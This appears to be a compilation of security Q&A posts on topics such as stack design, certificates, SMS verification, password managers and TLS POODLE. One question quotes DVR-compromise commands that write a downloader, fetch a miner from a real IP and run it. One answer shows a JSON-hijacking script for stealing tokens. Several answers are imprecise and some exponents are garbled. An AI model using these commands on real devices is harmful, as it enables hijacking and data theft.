Is using separate stacks for return addresses and function arguments a viable security measure? As far as I know, many exploits rely on overwriting return address of the function they try to exploit. They do it by buffer overruns. But what if the compiler set up two separate stacks far from each other in the address space, and used one of them (maybe the system one, like esp/rsp-driven one on x86* systems) for return addresses and the other to pass function arguments? In this case any buffer overruns will overwrite some locals, maybe including those of caller functions, but still will leave the return addresses intact.

Also, the stack for return addresses could be used to store all the function pointers and similar entities which allow to indirectly jump/call, so that they would also be protected.

Has this option been already considered? Is it viable? If yes, why hasn't it been implemented (or has it?)?

The problem with most operating systems is that they follow a specific "calling convention." This convention requires putting function parameters on the stack, being some derivative of the C-style calling convention. You must use this convention for ABI (Application Binary Interface) compatibility with that OS. So, without OS support, you could only use this feature for calls made within your application.

This would complicate compilers quite a bit and probably require a fair amount of work. In short, you could protect your own programs if you had a compiler that supported this calling convention, but you'd still be at the mercy of the OS whenever you had to do things like reading/writing a file, etc. A buffer overrun in a DLL, for example, can't be fixed by you changing your calling convention.

Secondly, until recently, with the advent of virtualization, it really wasn't feasible to set up a separate area like this, because segmentation was expensive, and memory virtualization even more so. Today, this would practically be a non-issue, but since we have to deal with historical software (e.g. stuff written ten years ago that still require the conventional calling methods), the OS would then be forced to support both models for some indefinite period of time.

If a new OS with no compatibility concerns were written, it could certainly do this, but it probably won't happen, because there are more viable methods. Microsoft's own Singularity OS is completely immune to buffer overruns (according to them), because the OS statically validates that each program cannot possibly misbehave. Interestingly, this OS uses no "memory protection" as used by Windows, Linux, Mac OS, etc. The programs are validated for correct behavior before they run, not as they run. Of course, if a virus were capable for this system, it would have unlimited system control because of the lack of protection at the hardware level.

In short, even without any serious research on the topic, it's clearly possible that this approach would work, but outside of FOSS (Free and Open Source Software), it wouldn't be possible for this approach to work from a financial standpoint. Linux could be re-written from the kernel up to support the new model, a compiler rolled out for it, and then all the software out there could be re-compiled without too much effort (note: "too much" being relative to, say, Microsoft).

Microsoft, Apple, and so on do not have this benefit, because the code is already compiled by millions of different developers, so anything that couldn't be updated would be instantly obsolete, or they'd have to write emulators to support the old software. Basically, until someone comes up with an OS that has this feature built-in, with compatible compilers (at minimum C and C++, plus probably Cocoa and Win32 C++), and it gains enough support to become a contender against Linux, Microsoft, and Mac OS, it'd be pretty hard to justify moving to a new model. Linux would be the easiest to move over, although all software would have to be compiled until RPMs and other package types supported the new calling model.

Finally, DEP (Data Execution Prevention) pretty much solves the problem in most cases, making it harder to execute code that shouldn't. This also reduces the need to switch to a new model, although, as Singularity demonstrates, hardware could be a lot faster if it wasn't constantly forced to protect against programmers' bugs and the exploits they present.


Compare approaches to match a private key and certificate In the answer from this question
Determine if private key belongs to certificate?

The proposed solution is to match a private key and a certificate by extracting and matching the public key of both.

While in this page:
https://www.sslshopper.com/certificate-key-matcher.html

The proposed solution is to extract the modulus of the public key, apply a MD5 hash to it and then compare the hashes.

Is there any difference in both approaches ?
Would the second approach be the same if I compare only the modulus of the public key and not the MD5 hash ?

Well, yes.  There is a difference between the approaches.

The approach described in Determine if private key belongs to certificate? uses the RSA cryptosystem, which is based on the factorization of large prime numbers and an information trapdoor using the modulus function.  Yet, the same general approach may be used to orther public key cryptosystems (any scheme that has a difficult mathematical problem plus a trapdoor function can be a public key cryptosystem, e.g. you have the ElGamal scheme).

The solution proposed by sslhopper is limited to the RSA scheme (or any other scheme that uses the modulus function as the information trapdoor).  If you look in the openssl manuals the -modulus option only exists in man rsa.

In summary, the first approach is more generic than the second.  This is because any asymmetric encryption scheme must be capable of generating the public key from the private key, but not every scheme must use the modulus function as the information trapdoor.


Using Client-side certificates for Authentication Why aren't client-side certificates used for Authentication? Then user has to remember only 1 password to unlock his windows account which stores the certificates. I understand that if user access websites from different machines, the certificates has to be synced. But with one strong password for windows account, isn't it convinient and more secure for users to authenticate using client-side certificates?

Am I assuming something wrong here?

The most pressing reason is that people login from multiple computers: home PC, laptop, tablet, work PC, friend's PC, internet cafe, etc. While it is theoretically possible to have a system that syncs your certificates - either through a cloud service, or a physical device you carry - this is beyond the capability of most users.

Now, could someone create an authentication service that does this for you? That takes care of all the certificates under the hood? Well, that is exactly what Mozilla Persona does.

The second reason is that there are millions of websites that already use passwords. To change all these to use some other authentication scheme (whether it's OAuth, SRP, certificates, or something else) would be an enormous undertaking - and why would a website bother? What's the incentive for them?

Because of this, password managers are a far more practical technology to solve the authentication problem. Ok, they are not quite as secure as client certificates, but the differences are fairly minor. Systems like LastPass give you a single-sign-on interface, and work with (almost) any website.


Data recovery for pulling out all data, and software to find types of content I am looking to do data recovery on disk drives and memory cards. For this I want a device or type of software which allows me to pull out the following data:

Allocated space
Unallocated space
Slack space
Bad blocks

I also need a software which aids in identifying types of content discovered in fully or partially discovered data.

I would like to have as much freedom when reading the disk drives as possible, such as retrying bad block reading or forcing certain operations on the disk. I am unsure if this requires a separate disk controller to be plugged onto the drives?

Does anyone have any recommendations?

Quick and dirty data recovery for Linux often involves

dd for disk imaging.
ddrescue if you find you have to deal with bad sectors.  May not be optimized for flash memory (i.e. sd card/usb stick etc) though.
photorec for scanning raw disk images for various data formats (maybe copy the image and zero out the known files, so you only find deleted ones?).
testdisk looks for entire deleted partitions (same source as photorec)

"file" is occasionally useful, if you think you have a valid file but aren't sure what type of application to try reading it with.  Much of the time I'm using it for some other purpose - though I guess my frequent file -s /dev/sda1 counts if you stretch it a bit.

There are definitely more specific, professional solutions though.  I believe some software contains hashes of many known files.  That would be useful for "needle in a haystack" problems - someone could have hidden files on a computer under the Windows directory, for example.


SMS Verification Code vs. Response Message I need to verify each user's phone number in an enterprise SaaS system. Instead of using the common "Enter the 4/8 digit code in this form", I'd prefer to have the user respond with an SMS message saying "hello" or possibly a unique message for each user.

My goal is to make it easier for the user to verify if they happen to abandon the website's onboarding flow.

Is there anything inherently more secure about having users enter a 4/8 digit code online vs. sending a code or simple message from their device?

Great question! I'll attempt to break down the security models.

  Is there anything inherently more secure about having users enter a 4/8 digit code online vs. sending a code or simple message from their device?

While SMS as a whole makes for a weak 2FA method (see the article above from The Verge), at least the former requires the attacker to do some hacking on the global telecom network. The latter is trivially broken by anyone who know about the online services for sending an SMS with any from: number.

SMS is a weak a 2FA method

Let's start by saying that SMS is not a secure way to deliver sensitive information. This article from The Verge seems to line up pretty well with my understanding:

  By exploiting known flaws in the cell network, the group was able to intercept all text messages sent to the number for a set period of time. That was enough to reset the password to the Gmail account and then take control of the Coinbase wallet. All the group needed was the name, surname and phone number of the targeted Bitcoin user.

  Positive Technologies was able to hijack the text messages using its own research tool, which exploits weaknesses in the cellular network to intercept text messages in transit. Known as the SS7 network, that network is shared by every telecom to manage calls and texts between phone numbers. There are a number of known SS7 vulnerabilities, and while access to the SS7 network is theoretically restricted to telecom companies, hijacking services are frequently available on criminal marketplaces.

Source: The Verge.

So, with the understanding that we are comparing the security of two variants of a very insecure system, let's proceed.

Security Model for entering the verification code in the web UI

Security model: for an attacker to spoof ownership of your phone number, they would need to:

Initiate the website's onboarding flow, providing your information.
Read the SMS code sent to your mobile number.
Enter that number into the onboarding flow.

Pulling off this attack requires the ability to read your SMS messages in real time, which as The Verge points out above, is easily doable.

Replying to the SMS with "hello"

Security model: for an attacker to spoof ownership of your phone number, they would need to:

Initiate the website's onboarding flow, providing your information.
Receive an SMS from the server.
Reply to the server's SMS number with the word "hello".

At first glance, this looks like the same security model as above: "if the attacker has SS7 hacks and can read your SMSes, then they can reply to them also".

But in fact this model is much weaker; there is actually no coupling between steps 2 and 3. There are a million websites that let you send an SMS and set whatever from: number you want, so as long as the attacker knows the server's SMS number, they can spoof the "hello" from your number even if they have no ability to read your incoming SMSes.

Replying to the SMS with a code

Security model: for an attacker to spoof ownership of your phone number, they would need to:

Initiate the website's onboarding flow, providing your information.
Receive an SMS from the server containing a code.
Reply to the server's SMS number with this code.

Alright, we've fixed the coupling problem and required the attacker to be able to read your incoming SMSes. As noted above, sending messages that appear to be from you is trivial, so I think this security model is equivalent to that traditional one of "type the SMS code into the website".

You will however run into usability problems in that correctly typing a code into your phone keyboard is significantly more annoying than typing it into your computer, so I'm not sure you gain anything here.

Summary (same as above)

  Is there anything inherently more secure about having users enter a 4/8 digit code online vs. sending a code or simple message from their device?

While SMS as a whole makes for a weak 2FA method (see the article above from The Verge), at least the former requires the attacker to do some hacking on the global telecom network. The latter is trivially broken by anyone who know about the online services for sending an SMS with any from: number.


Nessus Port scan Vs NMAP Port scan My objective is to find network vulnerabilities. I have used Nessus and NMAP both for vulnerability scan. I have to verify if I can use only "Nessus" rather than using "NMAP".

According to my efforts on the web, plenty of people suggested to use Nessus and NMAP together because Nessus also provides port scan range as NMAP. But I do not understand the exact reason why Nessus Port scan cannot replace the NMAP port scan ?

What should be the major difference with Nessus and NMAP in terms of Port scanning?

If your objective is to find vulnerabilities, I would say Nessus is enough. It's primarily a vulnerability scanner, which can of course do "normal port scanning".

Nmap's main focus is more about detection and auditing, although it's possible to detect vulnerabilities with the scripting engine. I suppose Nmap might be more accurate to determine versions, or minor things like that, since there is a lot more options for scanning and detection, but as long as Nessus finds the same open ports, it shouldn't matter.

Here is info about The Nessus Port Scanning Engine: An Inside Look, and well, Nmap Port Scanning Techniques begins at that page.


What are security advantages of pass in comparison to KeepassXC (GUI App)? At the moment I use KeepassXC on macOS. Before I used KeepassX, which discontinued their development.

I am considering switching to command line client pass - the standard unix password manager, because of simplicity and UNIX like software.

I found a Hackernews discussion with a major flaw:

  There's one problem here: by storing passwords in a series of flat
  files, you give away that a password to a given site or location
  exists. That alone can be data that a user doesn't want to share.

I wish to have my passwords 100% private and no agency and/or malware to read it out.

Are there any benefits of using pass over the "easy to use" GUI KeepassXC?

Depending on the user's capabilities and requirements, the biggest flaw might certainly be lack of a GUI. Fortunately, there's QtPass (available for Linux/macOS/Windows) to remedy that flaw.

What Hackernews see as a major flaw is none in my eyes - no one is forcing you to name your plain text files so that they'd reveal what they're for. And even if you do: good luck breaking them open (given that you've created a good keypair which you're guarding properly).

If you're looking for arguments beyond UI, it's worth mentioning that GoPass is compatible with pass in that they can be used alongside one another (i.e. having GoPass access the same folder as pass, plus any others). GoPass allows you very fine-grained control over who (i.e. which keys) can access what passwords.

Also, KeepassX(C) uses a database, which can, and does (speaking from friends' experiences, unfortunately) break. Since, as you mention, pass is based on simple flat files, there's no database that could break in the first place.


Input Sanitization vs Output Sanitization In the bits that I've searched about this, I've seen a few people declare as word-of-god that you should only sanitize outputs and not inputs. Why? Would it not be safer to cover both ends?

When you sanitize input, you risk altering the data in ways that might make it unusable. So input sanitization is avoided in cases where the nature of the data is unknown. For instance, perhaps some special characters hold significance in the data and stripping them means destroying that significance.

A scenario like this may be that your system stores data that may later be pulled out into a third party system, and in that system those characters hold meaning. By stripping them you've altered the data in a significant way. For instance, perhaps the string is used as a key to look up a record in the third party system and by stripping the symbol you alter the key such that the record cannot be found.

Input sanitization can be used when that nature of the data is known and sanitization would not adversely affect the data in anyway.

Your decision to sanitize input data is in part a business decision. Will third party system depend on input exactly as it is provided? If so, it's probably not a good idea. However, you may be able to shape expectations such that the third parties understand that you will be sanitizing input data based on a specified criteria that you share with them.


How is it possible to poison JavaScript Array constructor and how does ECMAScript 5 prevent that? From Django documentation of their JsonResponse:

Before the 5th edition of ECMAScript it was possible to poison the JavaScript Array constructor. For this reason, Django does not allow passing non-dict objects to the JsonResponse constructor by default. However, most modern browsers implement EcmaScript 5 which removes this attack vector. Therefore it is possible to disable this security precaution.

How exactly can it be unsafe to send data from server to browser in the form of a JavaScript Array? How is such an attack called?
My experiments showed that while Django by default complains about sending to a browser something like this: ["foo", "bar"], it does not complain about sending something like this: {"foo": ["bar", "baz"]} How can it be any safer
to send an array wrapped in an object than sending a "raw" array?
How does EMCAScript 5 prevent that?

The attack associated with poisoning the Array constructor is called JSON hijacking. It's an instance of a problem known as cross-site script inclusion (XSSI) that stems from the fact that browsers generally allow websites to include external JS files cross-origin.

Let's say, an authenticated user on your site can access some "secret tokens" at this API location:

https://yoursite.example/api/secret_tokens

And let's say the API response looks something like this:

tokens = ["secret123", "secrect456"]

This creates a vulnerability. An attacker could trivially exfiltrate the tokens of a logged-in user by sending them a link to evil.example which would have code like this:

<script src="https://yoursite.example/api/secret_tokens"></script>
<script>
    alert(tokens)
</script>

This way, the victim's browser is tricked into interpreting the  API response as an external JS file. The API is inadvertently creating valid JS code (assigning the array to a global variable tokens) and thereby leaking the tokens of a logged-in user to evil.example.

Now, let's consider the more likely case that your API response looks similar to this:

["secret123", "secret456"]

This is still valid JS code, but since it's just an expression without assignments, an attacker can't access the content of the array as easily as above. The workaround here was to simply override the Array constructor:

Array = function() { foo = this; }

This particular trick was reported and fixed in Firefox in 2007 but since then, other techniques, e.g. employing Object.__defineSetter__ or Object.defineProperty, have been found (and fixed).

  How does EMCAScript 5 prevent that?

The ES5 specification demands that [] always uses the built-in Array constructor (and the same applies to object constructors):

  15.4.1.1 Array ( [ item1 [ , item2 [ , … ] ] ] )

  Create and return a new Array object exactly as if the standard built-in constructor Array was used in a new expression with the same arguments (15.4.2).

Finally, let's consider the case that the API replies with a JSON object:

{"tokens": ["secret123", "secret456"]}

The simple reason why has never been vulnerable is that it's invalid JS: An isolated object in curly braces is parsed as a block instead of an object. So you can't include this JSON object as an external script without triggering an error. Historically, triggering a syntax error has been a convenient way to prevent XSSI attacks.

Here are some additional references to JSON Hijacking:

Anatomy of a Subtle JSON Vulnerability
JSON Hijacking


Recovering locked-out accounts after losing smartphone Ok so, we've got a situation here that sounds a bit hopeless, but it's happening right now and we could really use some help. Please bear with me here as I try to explain...

Recently, my wife and I were on a vacation abroad, and had the fortune of being victims of a pickpocket, which stole only one item - her Android smartphone.

As if that wasn't bad enough, she never remembered any of her passwords, instead she wrote them down, on, you guessed it, her phone.

Effectively, this has locked her out of her gmail and yahoo accounts, and since the pickpocket has the phone where all the passwords are written down, if he/she figures that out, they'll be able to take control of her accounts and cause some serious damage, hence we're pretty much in the race against time here.

Facebook is also compromised, but for the time being she is not locked out of that as she can still access it via auto-login from her laptop, but since she doesn't have the password, it's only a matter of time before that is lost too.

We have tried so far to recover her gmail, but had no luck using any of the recovery methods they provide, including:

"Last remembered password" - we tried a few she could kinda remember, and by kinda I mean it was a while ago she used it and we're unsure if we spelled them correct or not. I assume we did as gmail recovery did proceed after we entered them, and we received a verification code from google, but inputting that code simply says something in the line of "thanks for verifying successfully, but we are not going to give you your account back"

"Security question" - same result as above, it was set up over five years ago, so we're pretty much unsure whether we got the answer right or not anyway

"Month and year of account creation" - Here I'm just pretty sure we got it wrong since we could only pinpoint when it was created to a timeframe of approximately 24 months, so yeah, not gonna happen.

At the moment we haven't tried yet to recover yahoo account, but considering that account is even older than her gmail and password is just as lost, our hopes are pretty low at the moment.

So here we are, hoping somebody here can help us out further on, in order of importance:
How to recover her gmail account
How to change her facebook password
How to recover her yahoo account

Thank you in advance.

(and yes, I'm fully aware of how silly we've been with our security before the phone was stolen... so if you found yourself laughing at this whilst you were reading it, that's perfectly understandable)

Contact Google and Yahoo directly, and explain the situation. They should have a way to prove your identity by proxy (presenting your ID at the wireless store where you purchased the phone, that sort of thing) that they will accept.

You aren't the only people to have been in this situation.

You can find contact information for Google by googling for "how to contact Google". There is a wikihow page that provides their customer service number. Or, you can select Google's contact us page. There is a pull down to select "Account (login)", which takes you here: https://support.google.com/accounts/?hl=en#topic=3382296


How to remediate TLS POODLE on IIS I've been struggling to understand how to completely remediate TLS POODLE on IIS 7.5.

I've already disabled SSLv3 support for SSL POODLE. But according to the information that I've get from plenty of articles, bulletin, etc there is an another version of POODLE which called as "TLS POODLE".

As far as I understood TLS POODLE appears when CBC modes of ciphers enabled with TLS family.

Microsoft security bulletins says;

  "MS12-049 This security update resolves a publicly disclosed
  vulnerability in TLS. The vulnerability could allow information
  disclosure if an attacker intercepts encrypted web traffic served from
  an affected system. All cipher suites that do not use CBC mode are not
  affected." https://technet.microsoft.com/library/security/ms12-jul

I've already applied the patched to the server. So the question is;

Do I need to completely disable CBC ciphers even if I've already deploy the KB2655992 update ? If the answer is yes then which ciphers do I need to enable ?

https://technet.microsoft.com/library/security/ms12-jul

While SSL 3.0 POODLE is a design problem in the standard which thus affects all implementations TLS POODLE is an implementation problem only, that is implementations did not implement the TLS protocols properly.

According to https://technet.microsoft.com/en-us/library/security/3009008.aspx?f=255&MSPPError=-2147217396 (updated 04/2015) and https://community.qualys.com/blogs/securitylabs/2014/12/08/poodle-bites-tls IIS is not affected by TLS POODLE.


Remote detection of spring framework I would like to know if there is a remote way to understand if a web app uses the Spring framework. In particular Spring security.

Is there any kind of analysis on HTTP headers that can provide information about it?

Welcome to Security.SE. :)

Yes, there are a few things you can do to find Spring Framework, or more specifically Spring Boot. Spring Security is a little more awkward, but you can look for /login and see what it does. Here's some things I do:

favicon. The green leaf is a dead giveaway.
/env and /health (https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html) or if using the newer Spring Actuator, /actuator/env and /actuator/health

Aside from that, look at the HTML responses. Especially on /login. It has a boilerplate response.


Social Engineer Toolkit (Cloning Sites) Is it legal or illegal to use the cloning site option within the social engineer toolkit (SET) or any other tool that clones websites? I was under the impression that if performing a social engineer exercise with a signed document from a client, I would be legally allowed to clone their site (with their approval), but what if I wanted to clone a site such as Microsoft or Google for the test? Would Microsoft or Google or whoever have the authority to sue me for something, such as copyright infringement?

I am not a lawyer, but I would be very careful about cloning as there are some major issues you should think about:

Does the client own every part of the website?
Does the client own all copyright on documents and logos on the website?
Has the hosting company agreed to this work?
Does the client's contract with their host/ISP allow for this usage?

Also, if you place your cloned site on the Internet you may fall foul of various laws on misrepresentation, and as you can't limit who may try to access the site, you should be aware of international laws in this area.

What is it you are trying to do that requires a clone of the site? In many years of managing social engineering engagements I have never needed to use this technique as there should be easier ways to get access or information.


compromising DVRs to become bitcoin mining bot I read this article, about an exploit which highjacks a DVR to become a "bitcoin mining bot".

The heart of the attack is to send a binary using just echo comands to the device, which acts as a trivial wget (the device does not have any wget on its own):

echo -ne '\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00 \x00\x00\x00\x00\x00\x05\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00 \x00\x31\x00\x00\x00\x00\x00 \x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00 \x14\x00\x00\x00' >> /var/run/rand0-btcminer-arm

This binary is then used to get the bitcoin mining sw itself

./rand0-btcminer-arm http://107.178.66.153/btcminer-arm && \
chmod u+x btcminer-arm && ./btcminer-arm -B -o \
stratum+tcp://204.124.183.242:3333 -t 4 -q && echo -ne '\x64\x6f\x6e\x65'

Can somebody please explain what exactly the echo command does, and how that works? Can really a few bytes representr a working "wget"?

The echo is a shellcode that gets executed on the DVR. It stores a little file that is a program acting like wget. This program then gets called to fetch an other one (the mining program) that gets executed.

Sorry I was mistaken. As pointed out in the comments, please look at this thread A tiny version of wget (51 bytes?)


Way to combine encrypted tar and encrypted symmetric key with which tar was encrypted? We are using Beaglebone Black (AM335x) based custom board, so for firmware upgrades of the board we will be using an encrypted firmware image.

As you would have already guessed, we will be using symmetric encryption to encrypt a large firmware file (fimware tar) and then encrypt the symmetric key with an asymmetric key. So we have two files which is to be given to the user for upgrading his board. Now we don't want to do that, we want to give only one file to user.

So we have to somehow combine the encrypted firmware image and the encrypted symmetric key.

I thought of two strategies, I will encrypting firmware using bash script,

Tar encrypted firmware and encrypted symmetric key. But its very slow.
Append encrypted symmetric key to the encrypted tar file. Don't feel this is a clean approach, isn't it?

Any suggestion on how to handle this in a fast and better way?

Note
I have posted this question on Stack Overflow but thought this question could possibly also belongs to Information Security. Let me know if you don't feel its right.

I think you just need to use PGP/GPG encryption and encrypt the archive using your private key (under the hood PGP/GPG will do the same as you described: it will generate a random symmetric key, encrypt the body of the payload with it, then will encrypt the symmetric key with your private asymmetric key).

This will give you a single encrypted file.  All that is left is to incorporate your public key into the base system of your board (you can also publish you public key on your website, so users will be able to decrypt the archive if they want to.

Most manufacturers are implementing this approach and they are using the embedded public key to ensure that the update/upgrade process works with firmwares produced by the manufacturer (the one who has the corresponding private key).  This approach works until there is a flow in your board's system that would allow an attacker to tamper with the embedded public key.


Customize an Intrusion Detection System for serial communication Most of the Intrusion detection Systems I know of is for IP Communication. But, lets assume that I have serial communication, i.e. CAN or RS485. On this serial Communication there are customized protocols communicating, such that the analysis of traffic can be pretty static.

Does anyone know of an IDS which is possible to customize for this purpose?

It does not have to be a finished Product, just a reference to a paper or document would be nice.

After some research we have found several interesting solutions, here are three papers that I found most relevant:

Anagram: A Content Anomaly Detector Resistant to Mimicry Attack by Wang et al. They construct a content anomaly detector called Anagram. Anagrams works by analyzing byte sequences using distinct n-grams to learn itself signatures of valid packets. According to the authors it has high accuracy and low false positive rates. Also, it can operate at high-speed making it useful for network intrusion detection. Since it is anomaly-based it has a greater chance of detecting zero-day exploits. And, because it is self-learning, it does not require a lot of attention from the supervisor.

Another interesting paper is Anomalous payload-based network intrusion detection by Wang et al. It is also fully automatic and can be runned unsupervised. As with other Anomaly-based IDS they have a training phase in which the system learn the frequency and standard deviation of the payload. This solution has also a high detection rate, near 100%, and a very low false positive rate.

The paper found in this answer https://security.stackexchange.com/a/24553/53067 has also been helpful.

None of the solutions above address serial communication. However, operating on byte level communication, we believe a similar solution can be applied on, for example: RS485 or CAN.


Use asymmetric encryption once to exchange symmetric key I'm developing a json API that should be able to handle a huge amount of clients. To make this work I need to reduce the overhead as far as possible.

One of the ideas I have is to use https only in the initial registration process of each client to exchange a symmetric key that is generated for each client. This would enable me to use http with symmetric encryption and a minimum overhead. Do you see any downside and security issues in this?

What you propose is actually similar to normal https with session reuse, i.e.

The initial handshake needs asymmetric encryption to identify the server and (depending on the cipher) to securely create the key for symmetric encryption. The transport encryption then is done with symmetric encryption only.
Following handshakes just reuse the existing session and only symmetric encryption is needed.

Thus what you propose exists, is established and I recommend to use it.

  Do you see any downside and security issues in this?

I do not see any obvious security issues in design and implementation because the design is not specific enough and there is no implementation yet. But on the technical side I see several issues:

I don't know how you implement your encryption, but libraries implementing SSL/TLS are already tuned for speed (often use hardware acceleration). Can you easily top this with your implementation?
The SSL/TLS protocol is widely used and heavily analyzed. How about your design?
I've never understood why anybody interested in performance uses text based formats like JSON or XML anyway. If you need performance and low overhead use binary formats like protobuf or the old but established ASN.1 encoding.


Has my GPG subkey been uploaded to the keyserver? I've been trying out the new ECC keys that have been added to GnuPG 2.1.

I created a primary key, then added an ed25519 signing subkey. So I know get this:

➜  ~  gpg2 -K
/Users/jonny/.gnupg/pubring.kbx
-------------------------------
sec   brainpoolP384r1/0x4E8DDC0EDE5D23A6 2015-01-09 [expires: 2016-01-09]
     Key fingerprint = EB55 21A4 5B8D 7310 53A6  E5DE 4E8D DC0E DE5D 23A6
uid                 [ultimate] Jonny Barnes <jonny@jonnybarnes.uk>
ssb   brainpoolP384r1/0xAE4F07A02E2C8780 2015-01-09 brainpoolP384r1 [expires: 2016-01-09]
ssb   ed25519/0xCDE84418F36C7F7B 2015-01-09 ed25519 [expires: 2016-01-09]

Then I ran gpg2 --send-keys 0x4E8DDC0EDE5D23A6, but this is what I see when looking for my key on the keyserver:

pub   384E/DE5D23A6 2015-01-09
 Fingerprint=EB55 21A4 5B8D 7310 53A6  E5DE 4E8D DC0E DE5D 23A6

uid Jonny Barnes <jonny@jonnybarnes.uk>
sig  sig3  DE5D23A6 2015-01-09 __________ 2016-01-09 [selfsig]

sub   384e/2E2C8780 2015-01-09
sig sbind  DE5D23A6 2015-01-09 __________ 2016-01-09 []

It only shows one subkey? Where's my second signing subkey?

The normal pool.sks-keyservers.net contains a bunch of SKS software versions, requiring at least 1.1.2. SKS only fully supports ECC keys since the most current version 1.1.5, so some servers are not able to work with your keys, and they will omit what they don't understand, thus throw away some packets of your key.

Use subset.pool.sks-keyservers.net instead, which is limited to servers running the 1.1.5 release, and thus fully ECC compliant.

Update based on the mailing list reply: ed25519 OpenPGP keys have only been standardized after release of SKS version 1.1.5. As of January 2015, only prerelease-versions of the SKS key server will print the key without missing packets (with newer versions supporting it by defualt), but will already be fully retrieved by appending &clean=off to the URL with servers running version 1.1.5.


How long does 2-factor authentication codes have to be? I've noticed that from a (personal) UX point of view, 4 numbers which my online banking uses seems to be a sweet spot in terms of holding it in my head from looking at my phone to typing it it. But Google codes are 6 digits, and my.gov.au (crappy website for lodging tax returns etc) is something ridiculous like 8 letters and numbers.

Is the extra length really an important boost in security? And if so are the banks lacking?

This really depends on the site, the level of information being stored, and the TTL (time to live) for the record. Google tends to handle a lot of different accounts for people: gmail, YouTube, blogger, Android accounts, search histories, contacts, calendars, etc; all of the stuff a spearphisher wants. Likewise their app, Google Authenticator, changes keys frequently.

Your tax site is likely going for the illusion of security but they may have a legit reason, if two-factor is compromised, like let's say you're using an app on your phone and your e-mail goes to your phone and your phone is stolen, then it really doesn't matter much how long the passphrases are. However, if the TTL is long, then if the site isn't equipped to block a DDoS mask for someone brute forcing a specific account, then it is a great idea to go with a longer key length. If the credit system is anything like that of the states, then they're trying to protect your identity.

If the TTL is short, then shorter numbers are okay. So if they have 30 seconds to guess a 6-digit code there is less of a chance of an accidental collision. Most web servers don't allow as many connections per second as necessary to brute force a password of a length longer than a few characters unless they're commercial. Commercial servers tend to allow more simultaneous connections to the same database.

Ideally the application framework would notice the multiple attempted intrusions and lock the account immediately though, so again, back to UX not too long, but not too short.


What are the chances to generate the same ssh key? I could generate ssh keys on the client like (without password):

ssh-keygen -b 8192 -t rsa -f /home/THEUSER/.ssh/id_rsa -P '' -v

and copy the generated id_rsa.pub to the server:

ssh-copy-id -i /home/THEUSER/.ssh/id_rsa.pub '-p PORTNUMBER SSHUSER@SERVER-IP-ADDRESS'

How much is the chance that someone would generate the exact same key with ssh-keygen? so that they could log in without password too!

I think it has a very low chance, but I want to know: how much is it?

The chance is very much lower than any of these events:

The computer spontaneously catches fire during the key generation process.
Great Britain is wiped out by a falling asteroid during the very same second.
A rogue gorilla escaped from a zoo enters your living room and mauls you.
You win millions of dollars at the lottery three times in a row.

So the basic conclusion is that you should not worry about getting twice the same SSH key: it really will not happen in your lifetime.

On a more theoretical point of view, there are about 28164 possible 8192-bit RSA keys (that's really a lot). However, ssh-keygen will use a pseudo-random number generator which works over a much more reduced internal seed, which depends on the operating system but will typically have size at least 160 bits. This reduces the number of possible keys to a much lower (but still huge) number, 2160. Even with tremendous computing power (I am not talking about a bored student with a few dozens of PC; rather, think "Google"), probability of finding the very same key after a few years of effort is less than 2-100. Comparatively, the events I list above can be estimated to occur with probabilities roughly equal to 2-45, 2-50, 2-60 and 2-71, respectively: these are billions of times more probable.

Of course, with a flawed PRNG, anything goes.


I have moved to OSX; what is the best way to self manage passwords? I am going to go ahead and say that I have to trust at some level, therefore I choosing to trust first parties (Apple/Microsoft/etc) for the sake of this question.

I used to use KeePass (database version 2) for my passwords on Windows, but KeePassX on OSX was last updated in 2010. There is a beta with the newer database, but not sure how much I trust beta software.

I have tried using Keychain, being a native app in OSX, but it is a PITA to use. Requires my annoyingly long password just to choose "always allow", and this cannot be pasted (the OSX secure password prompt does not allow pasting). With my huge list of passwords this just seems like a royal pain. Also, there does not seem to be an easy way to dump all passwords to a text file (I tried the security dump-keychain, but nothing happened).

How secure would it be to use an encrypted DMG container from the OSX Disk Utility, and then store them in an unencrypted file such as a CSV? I know on Windows this would be a terrible idea due to temporary files, but I am unfamiliar with OSX at this level.

You can use KeePass 2.x on OS X.  It runs in Mono same as it does on Ubuntu.


Just adding basic token by POST parameter for securing the API. It is safe? Let's say I have an address for an API like this:
mywebsite.com/api/mydata

If accessed, a JSON will appear like this:
[
  {
    "id":"1",
    "name":"John"
  },
  {
    "id":"2",
    "name":"Smith"
  }
]

The result defaults will be displaying the entire data if a post has no parameters.
If you use post "ID" and the ID parameter value is one of the existing data in the API, it will only display objects from the data selected based on the ID. The API can be accessed by anyone. API needs to be accessed using token parameters to secure the data.
Let's say I add a token parameter to be able to access data like this:
yourtoken="yourtoken"

if (post_param[token]==yourtoken) {
  // Displaying JSON
}

so if you want to open the API, you need to add a token parameter.
Is simple security like this worth using? what vulnerabilities will arise if I use this? is there a better way than this?

There are some things to take into consideration:

Using an integer that increments to 1 for every new user is predictable, so IDOR vulnerabilities arise;
Tokens should be of a high randomness and must have a lease time. Consider using JWT for example;
Transfer the data using encryption.

If it is just some kind of experiment, consider hiding your API against nginx balancer with authentication. It is pretty straight-forward to configure basic authentication. In more advanced scenario you may want to use client-side certificates. Check this article for the implementation.

The result defaults will be displaying the entire data if a post has
no parameters

Also consider removing functionality for displaying the entire data.


Why is this certificate valid for so many domains? If you look at the (invalid) certificate for https://i.imgur.com/ it says only valid for the following names:

The certificate is only valid for the following names and then a list of about 100 names.

Isn't it a danger to have one certificate for multiple domains?

It seems that this certificate works for so many domains because it's part of a CDN. CDNs, or Content Delivery Networks, deliver files which are always the same (or 'static'). The site's logo, some style rules for the website, those things. The page itself may change, for example based on whether you are logged in, but often images (and such) don't change.

Such CDN is used because the closer a server is, the faster the page will load. However, not everybody has the resources to install dozens of servers around the world, so companies like Cloudflare and Akamai offer their CDN space (and a big network which can handle lots of traffic), just like hosting is being sold.

In order to provide all data securely (and avoid mixed-content errors), the certificate used by the CDN's server must be valid for all domains that it hosts files for. It is a risk to be able to spoof that many domains by stealing a single private key (and you only need access to one of the hundreds of servers), but it seems to outweigh the benefits. It seems it are mostly subdomains too (or perhaps only subdomains, I haven't checked).


Password: ham,ham,ham,bacon,bacon,ham Why do we bother with dice ware?  Is rolling dice and looking up in a printed book (or using a digital analogue) a string of N random words any more secure than simply repeating a word or two N times?

